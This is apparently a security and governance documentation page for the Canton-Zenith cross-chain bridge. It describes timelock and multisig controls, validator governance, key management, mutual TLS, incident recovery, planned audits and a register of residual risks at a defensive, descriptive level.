The Canton-Zenith bridge uses a layered governance model in which no single key, person, or system can unilaterally change the bridge state or drain user funds. Three independent governance layers operate simultaneously: 1. On-chain EVM governance — TimelockController (48-hour minimum delay) with a Safe multisig as the sole proposer. All BridgeVault admin operations (add/remove validator, upgrade implementation, transfer ownership) are queued through this timelock. No superadmin exists; even the deployer key is revoked after the Safe is confirmed operational. An attacker who fully compromises the Safe multisig still has 48 hours of observable delay before any malicious ch…
EVM Governance (TimelockController)
48h delay] TL -->|"execute() after 48h"| BV[BridgeVault
admin actions] TL -->|"execute() after 48h"| BN[UpgradeableBeacon
token upgrade] PAUSER[PAUSER_ROLE] -->|"pause() instant"| BV BV -->|"unpause needs"| TL
| Parameter | Value |
|---|---|
| Timelock Delay | 172800 seconds (48 hours) |
| Proposer | Safe multisig (N-of-M signers; mainnet recommendation: 3-of-5) |
| Executor | address(0) — anyone may execute a proposal once the delay has elapsed |
| Admin | address(0) — self-governing; no superadmin key exists |
| Emergency Pause | PAUSER_ROLE holders (including the Safe) can call pause() instantly without Timelock. Unpause requires a Timelock proposal with full 48-hour delay, giving observers time to review the incident resolution before normal operation resumes. |
Safe Multisig Thresholds
| Environment | Owners | Threshold |
|---|---|---|
| Devnet | 1–3 | 1-of-1–3 |
| Testnet | 3 | 2-of-3 |
| Mainnet (launch) | 3 | 2-of-3 |
| Mainnet (mature) | 5 | 3-of-5 |
Role Assignments
| Role | Holder | Notes |
|---|---|---|
PROPOSER_ROLE | Safe multisig | Deployer's PROPOSER_ROLE must be explicitly revoked after Safe is confirmed working |
CANCELLER_ROLE | Safe multisig | Granted automatically alongside PROPOSER_ROLE |
EXECUTOR_ROLE | address(0) | Open execution — anyone may execute an elapsed proposal, preventing liveness attacks |
TIMELOCK_ADMIN_ROLE | address(0) | Self-governing from deploy; no entity can grant new roles or shorten the delay |
Canton Governance (ZenithGovernance / ValidatorConfigProposal)
Changes to the Canton-side validator set — which public keys may co-sign BridgeOperator transactions and which pubkeys are accepted in VerifiedBridgeOut secp256k1 verification — require a multi-party approval process enforced in Daml smart contract code. Governance flow (ZenithGovernance Daml template): 1. Any current validator calls ProposeAddValidator / ProposeRemoveValidator / ProposeThresholdChange. The proposer's vote is automatically recorded. 2. Other validators call VoteYes (or RejectProposal to explicitly reject). 3. Once the accumulated votes reach the configured thresho…
| Proposal Type | Description | Requires Consent | Veto |
|---|---|---|---|
| AddValidator | Propose adding a new validator to the governance set | Yes — new validator must submit NewValidatorAcceptance tied to this proposalId | Expires if threshold not reached before deadline |
| RemoveValidator | Propose removing an existing validator | No — threshold vote of existing validators is sufficient | Expires if threshold not reached before deadline; rejected if it would leave zero validators |
| UpdateThreshold | Change the minimum vote count required to execute future proposals | No — existing validator majority can adjust threshold | New threshold must be ≥ 1 and ≤ current validator count |
| UpdateObservers | Change the set of observer parties on the governance contract | No — threshold vote sufficient | None beyond threshold requirement |
Key Ceremony Procedure
The key ceremony is the foundational operational security event for the bridge. It establishes validator identities and the Safe multisig governance structure before any mainnet deployment. Each ceremony phase is witnessed, recorded, and verifiable against on-chain state after deployment. The ceremony covers two categories of keys: Validator keys (secp256k1 EOA): Used for signing SettlementIntents (MintIntent EIP-712 for EVM; secp256k1 intent for Canton VerifiedBridgeOut). In the …
HSM-Backed Key Storage
Production validator keys must never exist as plaintext in process memory. The SoftwareKeySigner (which stores the secp256k1 private key as a raw environment variable in Node.js process memory) is available only for devnet and requires explicit acknowledgement if used in non-development environments. The server refuses to start with SoftwareKeySigner in production without an explicit deprecation acknowledgement flag. Why HSM? Any process-memory read — kernel exploit, swap file, core dump, ptrace attach, cloud provider snapshot — can extract a plaintext key. An HSM keeps key material insid…
| HSM Provider | Key Type |
|---|---|
| AWS KMS (production — implemented) | ECC_SECG_P256K1 (secp256k1) — Sign/Verify usage |
| PKCS#11 Hardware HSM (planned — stub only) | secp256k1 / CKM_ECDSA_SHA256 |
| Azure Key Vault (planned — stub only) | EC P-256K (secp256k1); Key Vault Premium tier (HSM-backed) |
Mutual TLS: Coordinator ↔ Validators
The coordinator authenticates to each validator and each validator authenticates the coordinator using mutual TLS client-certificate authentication. This replaces the previous shared-secret header (X-Coordinator-Secret), which provided no forward secrecy and could not be rotated without coordinator downtime. Trust model: - One bridge-specific CA (bridge-ca) issues all certificates. - The coordinator holds a client certificate (coordinator.crt) signed by bridge-ca. - Each validator holds …
Validator Key Rotation Procedure
Validator keys should be rotated at most once per quarter in normal operation, or immediately after a suspected compromise. Coordinate rotation across all validators to maintain threshold coverage — a single validator's key can be rotated without reducing the active set below M at any point. The rotation uses an atomic batch operation: addValidator(newAddr) and removeValidator(oldAddr) are submitted as a single TimelockController scheduleBatch call. This prevents any moment where the effectiv…
Incident Recovery Procedures
The bridge maintains supply parity between BridgedToken.totalSupply() on the EVM and the sum of all BridgeEscrowHolding.amount values on Canton. Any discrepancy indicates a stuck bridge operation and triggers an alert via the supply parity monitor (GET /api/admin/supply-parity). Quick-reference table: delta > 0 (Canton holds more than minted on EVM): → Bridge-in stuck: Canton locked, EVM mint failed. → Recovery: wait for 1-hour escrow expiry, then cancel-bridge-in. delta < 0 (EVM minted more than Canton holds): → Bridge-out stuck: EVM burned, Canton not released. → Reco…
09Production Readiness Checklist
▼
All items must be complete before the bridge handles real user funds.
10Pending External Audits
▼
6 audits are required before the bridge handles real funds, listed in priority order.
Solidity Smart Contract Audit
Scope: BridgeVault.sol, BridgedToken.sol, MinimalMultisig.sol, all deployment scripts
Focus: reentrancy, EIP-712 correctness, ecrecover edge cases, Beacon proxy upgrade safety, TimelockController integration, access control, integer arithmetic, supply invariant fuzz adequacy. Recommended: Trail of Bits, OpenZeppelin, Spearbit.
Daml / Canton Contract Audit
Scope: Bridge.daml, Token.daml, ZenithVB.daml; Canton authorization model; CIP-56 allocation mechanics; externalCall integration
Focus: VerifiedBridgeOut sig verification, intentEscrowContractId binding, CancelBridgeIn timing, ValidatorConfigProposal flow, DA.Crypto alpha risk. Recommended: Digital Asset partner audit network.
Backend Penetration Test
Scope: All webapp/ API endpoints, coordinator.js, admin-routes.js, Fireblocks webhook handler, mTLS config, AML integration
Focus: auth bypass, command injection residuals, SSRF via coordinator fan-out, webhook HMAC bypass, rate limit bypass, nonce replay via SQLite manipulation, information disclosure.
Cryptographic Protocol Audit
Scope: settlement-intent.js, canton-signer.js, BridgeVault EIP-712, Bridge.daml DA.Crypto usage
Focus: double-hash convention correctness across all implementations, intent encoding determinism, cross-chain replay after hard fork, cross-direction replay (bridge-in sigs for bridge-out), intentEscrowContractId binding completeness.
Regulatory Compliance Review
Scope: Full bridge operational model, AML/KYC integration, FATF Travel Rule, OFAC screening, data residency, audit trail completeness
Deliverable: Gap-to-compliance matrix and remediation plan for applicable framework (MiCA, FinCEN, MAS, etc.).
Key Management Attestation
Scope: key-ceremony.md, hsm-setup.md, Safe multisig key distribution, BridgeAdmin key custody
Focus: tamper-resistant key generation, witness attestation, hardware wallet usage, key rotation testing, incident response documentation. Deliverable: Key custody attestation document for financial regulators.
11Residual Risks
▼
Risks documented in residual_risks.toml — all carry explicit mitigations and timelines.
R-2: BridgeOperator Still Participant-Hosted HIGH
BridgeOperator remains a participant-hosted party. A single participant compromise gives full Canton-side control: can exercise VerifiedBridgeOut, BridgeRegistry updates, AddressMapping updates. External party migration (topology threshold M-of-N) is scaffolded but not yet active.
R-4: No Production HSM Deployed HIGH
KmsSigner (AWS KMS) is available in the codebase and documented. PKCS#11 and Azure Key Vault stubs exist but are not implemented. SoftwareKeySigner uses process memory — vulnerable to memory dumps, core dumps, and container image extraction.
R-3: Coordinator Shared-Secret Fallback MEDIUM
When mTLS cert paths are not set, the coordinator falls back to X-Coordinator-Secret shared header authentication. This fallback is explicitly logged at startup and must not be active in production. In devnet, if traffic is not isolated, this fallback could allow unauthorized signing requests.
R-1: DA.Crypto.Text Alpha API LOW
DA.Crypto.Text.secp256k1 is marked alpha in the Daml SDK. The API may change in a future SDK release without notice. Warning suppressed with -Wno-crypto-text-is-alpha.
G-1: Safe Multisig Compromise (EVM) MEDIUM
If a quorum of Safe owner keys is compromised, an attacker can propose any governance action to the TimelockController. The 48-hour delay provides a detection and response window, but requires active monitoring and rapid response.
G-2: Single BridgeAdmin Key (Canton) MEDIUM
The Canton BridgeAdmin party is currently a single key. Compromise grants full BridgeRegistry and AddressMapping control. Validator config changes now require multi-party approval, so a single compromised BridgeAdmin cannot rotate validators — but can pause the bridge.
G-3: Validator Collusion Below Threshold MEDIUM
If exactly M validators collude, they can forge arbitrary SettlementIntent signatures, minting unlimited EVM tokens or releasing any Canton escrow. This is inherent in any threshold signature scheme.